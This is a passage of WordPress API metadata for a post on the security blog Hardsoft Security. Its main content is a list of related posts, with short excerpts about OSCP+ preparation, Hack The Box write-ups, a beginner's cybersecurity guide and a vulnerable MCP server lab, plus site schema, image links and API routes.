Up"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-Vs","jetpack-related-posts":[{"id":3735,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/12\/03\/how-to-overkill-the-oscp\/","url_meta":{"origin":3562,"position":0},"title":"How to overkill the OSCP+","author":"david","date":"diciembre 3, 2024","format":false,"excerpt":"Welcome to this new post where I am going to talk about how you can overkill the OSCP+. I will drive you through the material that I used and I will give you recommendation that I would have liked to know before I started my preparation. 1. Introduction and Background\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/oscp.png?fit=639%2C491&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/oscp.png?fit=639%2C491&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/oscp.png?fit=639%2C491&ssl=1&resize=525%2C300 1.5x"},"classes":[]},{"id":3174,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/","url_meta":{"origin":3562,"position":1},"title":"Hack The Box | Stocker | Write Up","author":"david","date":"agosto 23, 2023","format":false,"excerpt":"Just tackled the \u2018Stocker\u2019 machine on #HackTheBox. Loved the explotation of web vulnerabilities and the challenge of the injections! If you\u2019re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec We will check which kind of services are running in this machine with NMAP: sudo nmap -sT\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3092,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/","url_meta":{"origin":3562,"position":2},"title":"Hack The Box | Inject | Write Up","author":"david","date":"junio 14, 2023","format":false,"excerpt":"Just tackled the 'Inject' machine on #HackTheBox. Loved the exploration of high ports and the challenge of the injection exploitation! If you're into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec The first step we will do is perform our Nmap scan: \u2514\u2500$ sudo nmap -sT -n\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3293,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/07\/empezar-en-ciberseguridad\/","url_meta":{"origin":3562,"position":3},"title":"Empezar en Ciberseguridad: Gu\u00eda para Novatos","author":"david","date":"septiembre 7, 2023","format":false,"excerpt":"La ciberseguridad es un campo en constante evoluci\u00f3n y con una demanda creciente. Si acabas de terminar tus estudios universitarios\/educaci\u00f3n y te preguntas c\u00f3mo comenzar en ciberseguridad, este post (y v\u00eddeo) es para ti. \u00bfQu\u00e9 habilidades t\u00e9cnicas necesito para comenzar en ciberseguridad? M\u00e1s all\u00e1 de lo que hayas aprendido en\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/shutterstock_505066678-scaled-scaled-1.jpg?fit=1200%2C675&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/shutterstock_505066678-scaled-scaled-1.jpg?fit=1200%2C675&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/shutterstock_505066678-scaled-scaled-1.jpg?fit=1200%2C675&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/shutterstock_505066678-scaled-scaled-1.jpg?fit=1200%2C675&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/shutterstock_505066678-scaled-scaled-1.jpg?fit=1200%2C675&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3991,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/","url_meta":{"origin":3562,"position":4},"title":"Offensive AI – Vulnerable MCP Server Lab","author":"david","date":"agosto 26, 2026","format":false,"excerpt":"A self-hosted, intentionally vulnerable MCP (Model Context Protocol) server for security research and education. This lab demonstrates how MCP servers can be enumerated, interacted with, and exploited using common vulnerability classes. WARNING:\u00a0This lab is intentionally vulnerable. Run it in an isolated environment only. Do not expose it to the internet.\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":2810,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2022\/10\/23\/trabajo-de-fin-de-master-ciberseguridad\/","url_meta":{"origin":3562,"position":5},"title":"Trabajo de Fin de M\u00e1ster – Ciberseguridad","author":"david","date":"octubre 23, 2022","format":false,"excerpt":"Buenas a tod@s, hoy os traigo un post muy interesante, donde voy a mostrar el Trabajo de Fin de M\u00e1ster que he presentado. El trabajo est\u00e1 relacionado con los siguientes \u00e1mbitos Direcci\u00f3n de Ciberseguridad, Hacking \u00c9tico y Seguridad Ofensiva. Introducci\u00f3n Durante los \u00faltimos a\u00f1os, he enfocado mi carrera profesional a\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/10\/anarchy-computer-hack-hacker-wallpaper-preview.jpg?fit=728%2C363&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/10\/anarchy-computer-hack-hacker-wallpaper-preview.jpg?fit=728%2C363&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/10\/anarchy-computer-hack-hacker-wallpaper-preview.jpg?fit=728%2C363&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/10\/anarchy-computer-hack-hacker-wallpaper-preview.jpg?fit=728%2C363&ssl=1&resize=700%2C400 2x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3562"}],"version-history":[{"count":2,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3562\/revisions"}],"predecessor-version":[{"id":3565,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3562\/revisions\/3565"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3563"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}